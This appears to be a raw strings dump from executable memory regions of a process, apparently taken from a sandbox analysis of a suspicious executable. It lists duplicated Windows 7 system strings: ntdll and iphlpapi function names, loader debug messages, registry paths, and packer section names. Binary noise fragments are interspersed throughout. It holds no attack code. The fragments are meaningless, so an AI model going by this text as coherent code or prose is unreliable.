NTDLL.TpCallbackLeaveCriticalSectionOnCompletion
NTDLL.TpCallbackLeaveCriticalSectionOnCompletion
NTDLL.RtlQueryDepthSList
NTDLL.RtlQueryDepthSList
NTDLL.RtlQueryPerformanceCounter
NTDLL.RtlQueryPerformanceCounter
NTDLL.RtlQueryPerformanceFrequency
NTDLL.RtlQueryPerformanceFrequency
NTDLL.TpCallbackReleaseMutexOnCompletion
NTDLL.TpCallbackReleaseMutexOnCompletion
NTDLL.RtlReleaseSRWLockExclusive
NTDLL.RtlReleaseSRWLockExclusive
NTDLL.RtlReleaseSRWLockShared
NTDLL.RtlReleaseSRWLockShared
NTDLL.TpCallbackReleaseSemaphoreOnCompletion
NTDLL.TpCallbackReleaseSemaphoreOnCompletion
NTDLL.RtlSetCriticalSectionSpinCount
NTDLL.RtlSetCriticalSectionSpinCount
NTDLL.TpCallbackSetEventOnCompletion
NTDLL.TpCallbackSetEventOnCompletion
NTDLL.RtlSetLastWin32Error
NTDLL.RtlSetLastWin32Error
NTDLL.TpSetPoolMaxThreads
NTDLL.TpSetPoolMaxThreads
NTDLL.TpSetTimer
NTDLL.TpSetTimer
NTDLL.TpSetWait
NTDLL.TpSetWait
NTDLL.TpStartAsyncIoOperation
NTDLL.TpStartAsyncIoOperation
NTDLL.TpPostWork
NTDLL.TpPostWork
NTDLL.RtlTryAcquireSRWLockExclusive
NTDLL.RtlTryAcquireSRWLockExclusive
NTDLL.RtlTryAcquireSRWLockShared
NTDLL.RtlTryAcquireSRWLockShared
NTDLL.RtlTryEnterCriticalSection
NTDLL.RtlTryEnterCriticalSection
NTDLL.TpWaitForIoCompletion
NTDLL.TpWaitForIoCompletion
NTDLL.TpWaitForTimer
NTDLL.TpWaitForTimer
NTDLL.TpWaitForWait
NTDLL.TpWaitForWait
NTDLL.TpWaitForWork
NTDLL.TpWaitForWork
j.Xf;
j.Xf;
PSSSSSSh
PSSSSSSh
PSSSSSSSh
PSSSSSSSh
SSSSh
SSSSh
VWSSh
VWSSh
SXS: %s failing because RtlQueryInformationActivationContext() returned status lx
SXS: %s failing because RtlQueryInformationActivationContext() returned status lx
SXS: %s - Failing thread create because RtlActivateActivationContextEx() failed with status lx
SXS: %s - Failing thread create because RtlActivateActivationContextEx() failed with status lx
SXS: %s - Failing thread create because RtlQueryInformationActivationContext() failed with status lx
SXS: %s - Failing thread create because RtlQueryInformationActivationContext() failed with status lx
%s - Failing thread create because RtlAllocateActivationContextStack() failed with status lx
%s - Failing thread create because RtlAllocateActivationContextStack() failed with status lx
PVWSSh
PVWSSh
QSSSSh
QSSSSh
`VSSSSh
`VSSSSh
t9VSSSSh
t9VSSSSh
SXS: %s - Failure getting active activation context; ntstatus lx
SXS: %s - Failure getting active activation context; ntstatus lx
x0-u%f
x0-u%f
j.Yf;
j.Yf;
t.Ht!HHt
t.Ht!HHt
t.HHt#
t.HHt#
?456789:;
?456789:;
!"#$%&'()* ,-./0123
!"#$%&'()* ,-./0123
ntdll.dll
ntdll.dll
NtCreateNamedPipeFile
NtCreateNamedPipeFile
NtDelayExecution
NtDelayExecution
NtQueryValueKey
NtQueryValueKey
NtOpenKey
NtOpenKey
RtlReportSilentProcessExit
RtlReportSilentProcessExit
NtYieldExecution
NtYieldExecution
RtlGetProcessHeaps
RtlGetProcessHeaps
NtSetValueKey
NtSetValueKey
NtEnumerateValueKey
NtEnumerateValueKey
NtCreateKey
NtCreateKey
NtDeleteKey
NtDeleteKey
NtEnumerateKey
NtEnumerateKey
NtNotifyChangeKey
NtNotifyChangeKey
NtDeleteValueKey
NtDeleteValueKey
NtQueryMultipleValueKey
NtQueryMultipleValueKey
kernelbase.pdb
kernelbase.pdb
4"4@4^4|4
4"4@4^4|4
9-9I9e9}9
9-9I9e9}9
Allow flag to be passed with CreateFile call that indicates to perform downgrade if applicable.
Allow flag to be passed with CreateFile call that indicates to perform downgrade if applicable.
kernel32.dll
kernel32.dll
\Windows
\Windows
\Registry\Machine\System\CurrentControlSet\Services\Tcpip\Parameters
\Registry\Machine\System\CurrentControlSet\Services\Tcpip\Parameters
NoDefaultCurrentDirectoryInExePath
NoDefaultCurrentDirectoryInExePath
%s\%x\%s
%s\%x\%s
netmsg.dll
netmsg.dll
sShortTime
sShortTime
sShortDate
sShortDate
\\.\MountPointManager
\\.\MountPointManager
\Device\NamedPipe\
\Device\NamedPipe\
\DosDevices\pipe\
\DosDevices\pipe\
\\.\pipe\
\\.\pipe\
pipe\
pipe\
\\?\UNC
\\?\UNC
WUSER32.DLL
WUSER32.DLL
\\?\UNC\
\\?\UNC\
\\?\GLOBALROOT
\\?\GLOBALROOT
0123456789
0123456789
%s%s%s
%s%s%s
Windows NT BASE API Client DLL
Windows NT BASE API Client DLL
6.1.7601.17651 (win7sp1_gdr.110715-1504)
6.1.7601.17651 (win7sp1_gdr.110715-1504)
Windows
Windows
Operating System
Operating System
6.1.7601.17651
6.1.7601.17651
%original file name%.exe_1804_rwx_01510000_0001E000:
IPHLPAPI.DLL
IPHLPAPI.DLL
CreatePersistentTcpPortReservation
CreatePersistentTcpPortReservation
CreatePersistentUdpPortReservation
CreatePersistentUdpPortReservation
DeletePersistentTcpPortReservation
DeletePersistentTcpPortReservation
DeletePersistentUdpPortReservation
DeletePersistentUdpPortReservation
GetExtendedTcpTable
GetExtendedTcpTable
GetExtendedUdpTable
GetExtendedUdpTable
GetOwnerModuleFromTcp6Entry
GetOwnerModuleFromTcp6Entry
GetOwnerModuleFromTcpEntry
GetOwnerModuleFromTcpEntry
GetOwnerModuleFromUdp6Entry
GetOwnerModuleFromUdp6Entry
GetOwnerModuleFromUdpEntry
GetOwnerModuleFromUdpEntry
GetPerTcp6ConnectionEStats
GetPerTcp6ConnectionEStats
GetPerTcp6ConnectionStats
GetPerTcp6ConnectionStats
GetPerTcpConnectionEStats
GetPerTcpConnectionEStats
GetPerTcpConnectionStats
GetPerTcpConnectionStats
GetTcp6Table
GetTcp6Table
GetTcp6Table2
GetTcp6Table2
GetTcpStatistics
GetTcpStatistics
GetTcpStatisticsEx
GetTcpStatisticsEx
GetTcpTable
GetTcpTable
GetTcpTable2
GetTcpTable2
GetTeredoPort
GetTeredoPort
GetUdp6Table
GetUdp6Table
GetUdpStatistics
GetUdpStatistics
GetUdpStatisticsEx
GetUdpStatisticsEx
GetUdpTable
GetUdpTable
InternalGetTcp6Table2
InternalGetTcp6Table2
InternalGetTcp6TableWithOwnerModule
InternalGetTcp6TableWithOwnerModule
InternalGetTcp6TableWithOwnerPid
InternalGetTcp6TableWithOwnerPid
InternalGetTcpTable
InternalGetTcpTable
InternalGetTcpTable2
InternalGetTcpTable2
InternalGetTcpTableEx
InternalGetTcpTableEx
InternalGetTcpTableWithOwnerModule
InternalGetTcpTableWithOwnerModule
InternalGetTcpTableWithOwnerPid
InternalGetTcpTableWithOwnerPid
InternalGetUdp6TableWithOwnerModule
InternalGetUdp6TableWithOwnerModule
InternalGetUdp6TableWithOwnerPid
InternalGetUdp6TableWithOwnerPid
InternalGetUdpTable
InternalGetUdpTable
InternalGetUdpTableEx
InternalGetUdpTableEx
InternalGetUdpTableWithOwnerModule
InternalGetUdpTableWithOwnerModule
InternalGetUdpTableWithOwnerPid
InternalGetUdpTableWithOwnerPid
InternalSetTcpEntry
InternalSetTcpEntry
InternalSetTeredoPort
InternalSetTeredoPort
LookupPersistentTcpPortReservation
LookupPersistentTcpPortReservation
LookupPersistentUdpPortReservation
LookupPersistentUdpPortReservation
NotifyTeredoPortChange
NotifyTeredoPortChange
SetPerTcp6ConnectionEStats
SetPerTcp6ConnectionEStats
SetPerTcp6ConnectionStats
SetPerTcp6ConnectionStats
SetPerTcpConnectionEStats
SetPerTcpConnectionEStats
SetPerTcpConnectionStats
SetPerTcpConnectionStats
SetTcpEntry
SetTcpEntry
{lX-X-X-XX-XXXXXX}
{lX-X-X-XX-XXXXXX}
SYSTEM\CurrentControlSet\Services\Tcpip\Linkage
SYSTEM\CurrentControlSet\Services\Tcpip\Linkage
SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces\
SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces\
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
Ht.HHt
Ht.HHt
%SSSSj
%SSSSj
dhcpcsvc.DLL
dhcpcsvc.DLL
dhcpcsvc6.DLL
dhcpcsvc6.DLL
DNSAPI.dll
DNSAPI.dll
WS2_32.dll
WS2_32.dll
API-MS-Win-Core-DelayLoad-L1-1-0.dll
API-MS-Win-Core-DelayLoad-L1-1-0.dll
API-MS-Win-Security-Base-L1-1-0.dll
API-MS-Win-Security-Base-L1-1-0.dll
API-MS-Win-Core-SysInfo-L1-1-0.dll
API-MS-Win-Core-SysInfo-L1-1-0.dll
API-MS-Win-Core-Synch-L1-1-0.dll
API-MS-Win-Core-Synch-L1-1-0.dll
API-MS-Win-Core-String-L1-1-0.dll
API-MS-Win-Core-String-L1-1-0.dll
API-MS-Win-Core-Profile-L1-1-0.dll
API-MS-Win-Core-Profile-L1-1-0.dll
API-MS-Win-Core-ProcessThreads-L1-1-0.dll
API-MS-Win-Core-ProcessThreads-L1-1-0.dll
API-MS-Win-Core-Misc-L1-1-0.dll
API-MS-Win-Core-Misc-L1-1-0.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
API-MS-Win-Core-LibraryLoader-L1-1-0.dll
API-MS-Win-Core-LibraryLoader-L1-1-0.dll
API-MS-Win-Core-Interlocked-L1-1-0.dll
API-MS-Win-Core-Interlocked-L1-1-0.dll
API-MS-Win-Core-Heap-L1-1-0.dll
API-MS-Win-Core-Heap-L1-1-0.dll
API-MS-Win-Core-Handle-L1-1-0.dll
API-MS-Win-Core-Handle-L1-1-0.dll
API-MS-Win-Core-ErrorHandling-L1-1-0.dll
API-MS-Win-Core-ErrorHandling-L1-1-0.dll
RPCRT4.dll
RPCRT4.dll
WINNSI.DLL
WINNSI.DLL
NSI.dll
NSI.dll
ntdll.dll
ntdll.dll
msvcrt.dll
msvcrt.dll
_amsg_exit
_amsg_exit
GetProcessHeap
GetProcessHeap
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
iphlpapi.pdb
iphlpapi.pdb
2#3)3/343
2#3)3/343
7 7$7(7,707
7 7$7(7,707
:&;5;&
:&;5;&
4&4-44484C4N4S4c4h4x4}4
4&4-44484C4N4S4c4h4x4}4
0 0(0,00080
0 0(0,00080
\DEVICE\TCPIP_
\DEVICE\TCPIP_
%s_%u
%s_%u
\DEVICE\NETBT_TCPIP_
\DEVICE\NETBT_TCPIP_
iftype%u
iftype%u
\advapi32.dll
\advapi32.dll
6.1.7601.17514 (win7sp1_rtm.101119-1850)
6.1.7601.17514 (win7sp1_rtm.101119-1850)
iphlpapi.dll
iphlpapi.dll
Windows
Windows
Operating System
Operating System
6.1.7601.17514
6.1.7601.17514
%original file name%.exe_1804_rwx_01690000_0013D000:
8SsHd
8SsHd
d:\win7sp1_gdr\minkernel\threadpool\ntdll\cgrp.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\cgrp.c
TppWorkpExecuteCallback
TppWorkpExecuteCallback
TppSimplepExecuteCallback
TppSimplepExecuteCallback
d:\win7sp1_gdr\minkernel\threadpool\ntdll\simple.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\simple.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\io.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\io.c
SsHd;
SsHd;
_CorExeMain
_CorExeMain
tùp
tùp
d:\win7sp1_gdr\minkernel\threadpool\ntdll\waiter.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\waiter.c
TppWaitpExecuteCallback
TppWaitpExecuteCallback
TppTimerpExecuteCallback
TppTimerpExecuteCallback
d:\win7sp1_gdr\minkernel\threadpool\ntdll\cgrpmem.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\cgrpmem.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\lpc.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\lpc.c
TppAlpcpExecuteCallback
TppAlpcpExecuteCallback
d:\win7sp1_gdr\minkernel\threadpool\ntdll\callback.c
d:\win7sp1_gdr\minkernel\threadpool\ntdll\callback.c
ntdll.dll
ntdll.dll
EtwpGetCpuSpeed
EtwpGetCpuSpeed
EvtIntReportAuthzEventAndSourceAsync
EvtIntReportAuthzEventAndSourceAsync
EvtIntReportEventAndSourceAsync
EvtIntReportEventAndSourceAsync
LdrOpenImageFileOptionsKey
LdrOpenImageFileOptionsKey
LdrQueryImageFileExecutionOptions
LdrQueryImageFileExecutionOptions
LdrQueryImageFileExecutionOptionsEx
LdrQueryImageFileExecutionOptionsEx
LdrQueryImageFileKeyOption
LdrQueryImageFileKeyOption
NtAcceptConnectPort
NtAcceptConnectPort
NtAlpcAcceptConnectPort
NtAlpcAcceptConnectPort
NtAlpcConnectPort
NtAlpcConnectPort
NtAlpcCreatePort
NtAlpcCreatePort
NtAlpcCreatePortSection
NtAlpcCreatePortSection
NtAlpcDeletePortSection
NtAlpcDeletePortSection
NtAlpcDisconnectPort
NtAlpcDisconnectPort
NtAlpcImpersonateClientOfPort
NtAlpcImpersonateClientOfPort
NtAlpcSendWaitReceivePort
NtAlpcSendWaitReceivePort
NtCompactKeys
NtCompactKeys
NtCompleteConnectPort
NtCompleteConnectPort
NtCompressKey
NtCompressKey
NtConnectPort
NtConnectPort
NtCreateKey
NtCreateKey
NtCreateKeyTransacted
NtCreateKeyTransacted
NtCreateKeyedEvent
NtCreateKeyedEvent
NtCreateNamedPipeFile
NtCreateNamedPipeFile
NtCreatePort
NtCreatePort
NtCreateWaitablePort
NtCreateWaitablePort
NtDelayExecution
NtDelayExecution
NtDeleteKey
NtDeleteKey
NtDeleteValueKey
NtDeleteValueKey
NtEnumerateKey
NtEnumerateKey
NtEnumerateValueKey
NtEnumerateValueKey
NtFlushKey
NtFlushKey
NtImpersonateClientOfPort
NtImpersonateClientOfPort
NtListenPort
NtListenPort
NtLoadKey
NtLoadKey
NtLoadKey2
NtLoadKey2
NtLoadKeyEx
NtLoadKeyEx
NtLockProductActivationKeys
NtLockProductActivationKeys
NtLockRegistryKey
NtLockRegistryKey
NtNotifyChangeKey
NtNotifyChangeKey
NtNotifyChangeMultipleKeys
NtNotifyChangeMultipleKeys
NtOpenKey
NtOpenKey
NtOpenKeyEx
NtOpenKeyEx
NtOpenKeyTransacted
NtOpenKeyTransacted
NtOpenKeyTransactedEx
NtOpenKeyTransactedEx
NtOpenKeyedEvent
NtOpenKeyedEvent
NtQueryInformationPort
NtQueryInformationPort
NtQueryKey
NtQueryKey
NtQueryMultipleValueKey
NtQueryMultipleValueKey
NtQueryOpenSubKeys
NtQueryOpenSubKeys
NtQueryOpenSubKeysEx
NtQueryOpenSubKeysEx
NtQueryPortInformationProcess
NtQueryPortInformationProcess
NtQueryValueKey
NtQueryValueKey
NtRegisterThreadTerminatePort
NtRegisterThreadTerminatePort
NtReleaseKeyedEvent
NtReleaseKeyedEvent
NtRenameKey
NtRenameKey
NtReplaceKey
NtReplaceKey
NtReplyPort
NtReplyPort
NtReplyWaitReceivePort
NtReplyWaitReceivePort
NtReplyWaitReceivePortEx
NtReplyWaitReceivePortEx
NtReplyWaitReplyPort
NtReplyWaitReplyPort
NtRequestPort
NtRequestPort
NtRequestWaitReplyPort
NtRequestWaitReplyPort
NtRestoreKey
NtRestoreKey
NtSaveKey
NtSaveKey
NtSaveKeyEx
NtSaveKeyEx
NtSaveMergedKeys
NtSaveMergedKeys
NtSecureConnectPort
NtSecureConnectPort
NtSetDefaultHardErrorPort
NtSetDefaultHardErrorPort
NtSetInformationKey
NtSetInformationKey
NtSetThreadExecutionState
NtSetThreadExecutionState
NtSetValueKey
NtSetValueKey
NtUnloadKey
NtUnloadKey
NtUnloadKey2
NtUnloadKey2
NtUnloadKeyEx
NtUnloadKeyEx
NtWaitForKeyedEvent
NtWaitForKeyedEvent
NtYieldExecution
NtYieldExecution
RtlCheckRegistryKey
RtlCheckRegistryKey
RtlCmDecodeMemIoResource
RtlCmDecodeMemIoResource
RtlComputeImportTableHash
RtlComputeImportTableHash
RtlCreateRegistryKey
RtlCreateRegistryKey
RtlEnumProcessHeaps
RtlEnumProcessHeaps
RtlFormatCurrentUserKeyPath
RtlFormatCurrentUserKeyPath
RtlGetProcessHeaps
RtlGetProcessHeaps
RtlIsCurrentThreadAttachExempt
RtlIsCurrentThreadAttachExempt
RtlQueryProcessHeapInformation
RtlQueryProcessHeapInformation
RtlReportException
RtlReportException
RtlReportSilentProcessExit
RtlReportSilentProcessExit
RtlReportSqmEscalation
RtlReportSqmEscalation
RtlRunOnceExecuteOnce
RtlRunOnceExecuteOnce
RtlSendMsgToSm
RtlSendMsgToSm
RtlValidateProcessHeaps
RtlValidateProcessHeaps
RtlWerpReportException
RtlWerpReportException
RtlpCleanupRegistryKeys
RtlpCleanupRegistryKeys
RtlpNtCreateKey
RtlpNtCreateKey
RtlpNtEnumerateSubKey
RtlpNtEnumerateSubKey
RtlpNtMakeTemporaryKey
RtlpNtMakeTemporaryKey
RtlpNtOpenKey
RtlpNtOpenKey
RtlpNtQueryValueKey
RtlpNtQueryValueKey
RtlpNtSetValueKey
RtlpNtSetValueKey
SbExecuteProcedure
SbExecuteProcedure
ShipAssert
ShipAssert
ShipAssertGetBufferInfo
ShipAssertGetBufferInfo
ShipAssertMsgA
ShipAssertMsgA
ShipAssertMsgW
ShipAssertMsgW
TpCancelAsyncIoOperation
TpCancelAsyncIoOperation
TpStartAsyncIoOperation
TpStartAsyncIoOperation
WerReportSQMEvent
WerReportSQMEvent
ZwAcceptConnectPort
ZwAcceptConnectPort
ZwAlpcAcceptConnectPort
ZwAlpcAcceptConnectPort
ZwAlpcConnectPort
ZwAlpcConnectPort
ZwAlpcCreatePort
ZwAlpcCreatePort
ZwAlpcCreatePortSection
ZwAlpcCreatePortSection
ZwAlpcDeletePortSection
ZwAlpcDeletePortSection
ZwAlpcDisconnectPort
ZwAlpcDisconnectPort
ZwAlpcImpersonateClientOfPort
ZwAlpcImpersonateClientOfPort
ZwAlpcSendWaitReceivePort
ZwAlpcSendWaitReceivePort
ZwCompactKeys
ZwCompactKeys
ZwCompleteConnectPort
ZwCompleteConnectPort
ZwCompressKey
ZwCompressKey
ZwConnectPort
ZwConnectPort
ZwCreateKey
ZwCreateKey
ZwCreateKeyTransacted
ZwCreateKeyTransacted
ZwCreateKeyedEvent
ZwCreateKeyedEvent
ZwCreateNamedPipeFile
ZwCreateNamedPipeFile
ZwCreatePort
ZwCreatePort
ZwCreateWaitablePort
ZwCreateWaitablePort
ZwDelayExecution
ZwDelayExecution
ZwDeleteKey
ZwDeleteKey
ZwDeleteValueKey
ZwDeleteValueKey
ZwEnumerateKey
ZwEnumerateKey
ZwEnumerateValueKey
ZwEnumerateValueKey
ZwFlushKey
ZwFlushKey
ZwImpersonateClientOfPort
ZwImpersonateClientOfPort
ZwListenPort
ZwListenPort
ZwLoadKey
ZwLoadKey
ZwLoadKey2
ZwLoadKey2
ZwLoadKeyEx
ZwLoadKeyEx
ZwLockProductActivationKeys
ZwLockProductActivationKeys
ZwLockRegistryKey
ZwLockRegistryKey
ZwNotifyChangeKey
ZwNotifyChangeKey
ZwNotifyChangeMultipleKeys
ZwNotifyChangeMultipleKeys
ZwOpenKey
ZwOpenKey
ZwOpenKeyEx
ZwOpenKeyEx
ZwOpenKeyTransacted
ZwOpenKeyTransacted
ZwOpenKeyTransactedEx
ZwOpenKeyTransactedEx
ZwOpenKeyedEvent
ZwOpenKeyedEvent
ZwQueryInformationPort
ZwQueryInformationPort
ZwQueryKey
ZwQueryKey
ZwQueryMultipleValueKey
ZwQueryMultipleValueKey
ZwQueryOpenSubKeys
ZwQueryOpenSubKeys
ZwQueryOpenSubKeysEx
ZwQueryOpenSubKeysEx
ZwQueryPortInformationProcess
ZwQueryPortInformationProcess
ZwQueryValueKey
ZwQueryValueKey
ZwRegisterThreadTerminatePort
ZwRegisterThreadTerminatePort
ZwReleaseKeyedEvent
ZwReleaseKeyedEvent
ZwRenameKey
ZwRenameKey
ZwReplaceKey
ZwReplaceKey
ZwReplyPort
ZwReplyPort
ZwReplyWaitReceivePort
ZwReplyWaitReceivePort
ZwReplyWaitReceivePortEx
ZwReplyWaitReceivePortEx
ZwReplyWaitReplyPort
ZwReplyWaitReplyPort
ZwRequestPort
ZwRequestPort
ZwRequestWaitReplyPort
ZwRequestWaitReplyPort
ZwRestoreKey
ZwRestoreKey
ZwSaveKey
ZwSaveKey
ZwSaveKeyEx
ZwSaveKeyEx
ZwSaveMergedKeys
ZwSaveMergedKeys
ZwSecureConnectPort
ZwSecureConnectPort
ZwSetDefaultHardErrorPort
ZwSetDefaultHardErrorPort
ZwSetInformationKey
ZwSetInformationKey
ZwSetThreadExecutionState
ZwSetThreadExecutionState
ZwSetValueKey
ZwSetValueKey
ZwUnloadKey
ZwUnloadKey
ZwUnloadKey2
ZwUnloadKey2
ZwUnloadKeyEx
ZwUnloadKeyEx
ZwWaitForKeyedEvent
ZwWaitForKeyedEvent
ZwYieldExecution
ZwYieldExecution
.txt2
.txt2
secserv.dll
secserv.dll
.sforce
.sforce
.pcle
.pcle
.aspack
.aspack
Set 0x%X protection for %p section for %d bytes, old protection 0x%X
Set 0x%X protection for %p section for %d bytes, old protection 0x%X
CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X
CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions
x:x @ d - %s - %s:
x:x @ d - %s - %s:
d:\win7sp1_gdr\minkernel\ntdll\ldrapi.c
d:\win7sp1_gdr\minkernel\ntdll\ldrapi.c
d:\win7sp1_gdr\minkernel\ntdll\ldrfind.c
d:\win7sp1_gdr\minkernel\ntdll\ldrfind.c
Changing the protection of the executable at %p failed with status 0xlx
Changing the protection of the executable at %p failed with status 0xlx
d:\win7sp1_gdr\minkernel\ntdll\ldrinit.c
d:\win7sp1_gdr\minkernel\ntdll\ldrinit.c
Exception record: .exr %p
Exception record: .exr %p
Context record: .cxr %p
Context record: .cxr %p
Process 0x%x (%wZ) exiting
Process 0x%x (%wZ) exiting
Could not locate procedure "%s" in the shim engine DLL
Could not locate procedure "%s" in the shim engine DLL
LdrpInitializeExecutionOptions
LdrpInitializeExecutionOptions
Running the init routines of the executable's static imports failed with status 0xlx
Running the init routines of the executable's static imports failed with status 0xlx
Loading Windows subsystem DLL "%wZ" failed with status 0xlx
Loading Windows subsystem DLL "%wZ" failed with status 0xlx
Walking the import tables of the executable and its static imports failed with status 0xlx
Walking the import tables of the executable and its static imports failed with status 0xlx
Locating procedure "%Z" in Windows subsystem DLL "%wZ" failed with status 0xlx
Locating procedure "%Z" in Windows subsystem DLL "%wZ" failed with status 0xlx
Beginning execution of %wZ (%wZ)
Beginning execution of %wZ (%wZ)
Allocating a data table entry for the executable failed
Allocating a data table entry for the executable failed
Initializing the execution options for the process %lx failed with status 0xlx
Initializing the execution options for the process %lx failed with status 0xlx
Delaying execution failed with status 0xlx
Delaying execution failed with status 0xlx
d:\win7sp1_gdr\minkernel\ntdll\ldrsnap.c
d:\win7sp1_gdr\minkernel\ntdll\ldrsnap.c
LdrpLoadImportModule
LdrpLoadImportModule
DLL name: %s DLL path: %wZ
DLL name: %s DLL path: %wZ
Calling the Windows subsystem post-import routine %p failed with status 0xlx
Calling the Windows subsystem post-import routine %p failed with status 0xlx
Procedure "%s" could not be located in DLL "%s"
Procedure "%s" could not be located in DLL "%s"
Ordinal 0x%lx could not be located in DLL "%s"
Ordinal 0x%lx could not be located in DLL "%s"
Hint index 0x%lx for procedure "%s" in DLL "%s" is invalid
Hint index 0x%lx for procedure "%s" in DLL "%s" is invalid
%s loaded DLL "%wZ" (new reference count: 0x%lx)
%s loaded DLL "%wZ" (new reference count: 0x%lx)
LdrpFixupIATForRelocatedImport
LdrpFixupIATForRelocatedImport
DLL "%wZ" does not contain an export table
DLL "%wZ" does not contain an export table
DLL "%wZ" is bound via forwarders to "%s"
DLL "%wZ" is bound via forwarders to "%s"
Loading "%ws" from the bound import table of DLL "%wZ" failed with status 0xlx
Loading "%ws" from the bound import table of DLL "%wZ" failed with status 0xlx
DLL "%wZ" is bound to "%s"
DLL "%wZ" is bound to "%s"
LdrpHandleOneNewFormatImportDescriptor
LdrpHandleOneNewFormatImportDescriptor
Snapping the imports from DLL "%wZ" to DLL "%wZ" failed with status 0xlx
Snapping the imports from DLL "%wZ" to DLL "%wZ" failed with status 0xlx
Loading "%ws" from the import table of DLL "%wZ" failed with status 0xlx
Loading "%ws" from the import table of DLL "%wZ" failed with status 0xlx
DLL "%wZ" imports "%s"
DLL "%wZ" imports "%s"
LdrpHandleOneOldFormatImportDescriptor
LdrpHandleOneOldFormatImportDescriptor
LdrpProcessStaticImports
LdrpProcessStaticImports
d:\win7sp1_gdr\minkernel\ntdll\ldrtls.c
d:\win7sp1_gdr\minkernel\ntdll\ldrtls.c
TlsVector %p Index %d : %d bytes copied from %p to %p
TlsVector %p Index %d : %d bytes copied from %p to %p
Execute '.cxr %p' to dump context
Execute '.cxr %p' to dump context
d:\win7sp1_gdr\minkernel\ntdll\ldrutil.c
d:\win7sp1_gdr\minkernel\ntdll\ldrutil.c
Function %s raised exception 0xlx
Function %s raised exception 0xlx
RTL: Acquire Shared Sem Timeout %d(%I64u secs)
RTL: Acquire Shared Sem Timeout %d(%I64u secs)
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)
NTDLL: Calling thread (%X) not owner of CritSect: %p Owner ThreadId: %X
NTDLL: Calling thread (%X) not owner of CritSect: %p Owner ThreadId: %X
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu
RTL: Enter Critical Section Timeout (%I64u secs) %d
RTL: Enter Critical Section Timeout (%I64u secs) %d
AVRF: Found duplicate for (%ws: %s) in %ws
AVRF: Found duplicate for (%ws: %s) in %ws
AVRF: chain: thunk: %s == %s ?
AVRF: chain: thunk: %s == %s ?
AVRF: Chaining (%ws: %s) to %ws
AVRF: Chaining (%ws: %s) to %ws
AVRF: Checking %ws for duplicate (%ws: %s)
AVRF: Checking %ws for duplicate (%ws: %s)
AVRF: Snapped (%ws: %s) with (%ws: %p).
AVRF: Snapped (%ws: %s) with (%ws: %p).
AVRF: internal error: New thunk for %s is null.
AVRF: internal error: New thunk for %s is null.
AVRF: Unable to unprotect IAT to modify thunks (status X).
AVRF: Unable to unprotect IAT to modify thunks (status X).
AVRF: (%ws) %s export found.
AVRF: (%ws) %s export found.
AVRF: warning: did not find `%s' export in %ws .
AVRF: warning: did not find `%s' export in %ws .
AVRF: failed to enable handle checking (status %X)
AVRF: failed to enable handle checking (status %X)
AVRF: Failed to find `VerifierStopMessage()' export in verifier.dll!
AVRF: Failed to find `VerifierStopMessage()' export in verifier.dll!
AVRF: Failed to find verifier.dll among loaded providers!
AVRF: Failed to find verifier.dll among loaded providers!
VERIFIER STOP %p: pid 0x%X: %s
VERIFIER STOP %p: pid 0x%X: %s
%p : %s
%p : %s
AVRF: provider %ws passed an invalid descriptor @ %p
AVRF: provider %ws passed an invalid descriptor @ %p
AVRF: %ws: failed to load provider `%ws' (status X) from %ws
AVRF: %ws: failed to load provider `%ws' (status X) from %ws
AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports
AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled
rUS.Length PrivatePreallocatedString->MaximumLength
rUS.Length PrivatePreallocatedString->MaximumLength
d:\win7sp1_gdr\minkernel\ntdll\sxsisol.cpp
d:\win7sp1_gdr\minkernel\ntdll\sxsisol.cpp
!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)
!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)
[%x.%x] SXS: %s - Relative redirection plus env var expansion.
[%x.%x] SXS: %s - Relative redirection plus env var expansion.
SXS: %s() passed the empty activation context data
SXS: %s() passed the empty activation context data
SXS: %s() called with invalid cookie tid 0xI64x - should be lx
SXS: %s() called with invalid cookie tid 0xI64x - should be lx
SXS: %s() called with invalid cookie type 0xI64x
SXS: %s() called with invalid cookie type 0xI64x
SXS: %s() called with invalid flags 0xlx
SXS: %s() called with invalid flags 0xlx
SXS: %s() Active frame is not the frame being deactivated %p != %p
SXS: %s() Active frame is not the frame being deactivated %p != %p
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0xlx.
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0xlx.
